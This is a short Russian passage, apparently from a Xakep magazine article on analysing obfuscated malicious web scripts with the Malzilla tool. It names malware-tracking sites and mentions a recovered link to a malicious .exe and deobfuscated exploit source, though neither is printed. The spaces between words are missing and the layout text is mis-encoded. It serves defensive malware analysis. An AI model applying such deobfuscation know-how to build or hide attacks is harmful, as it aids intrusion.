4.Еслисделатьэтоводинкликнеполучилось, играемсяс«Misc decoders».
Ресурсы, отслеживающиеmalware-активностьонлайн: malwaredomainlist.com, zeustracker.abuse.ch.
Дешифровканалету! НавыходеMalzilla показалалинксвредоносным.exe идеобфусцированныйисходникэксплоита
|
XÀÊÅÐ 04 /124/ 09 |
039 |
|
|
|
|
|
|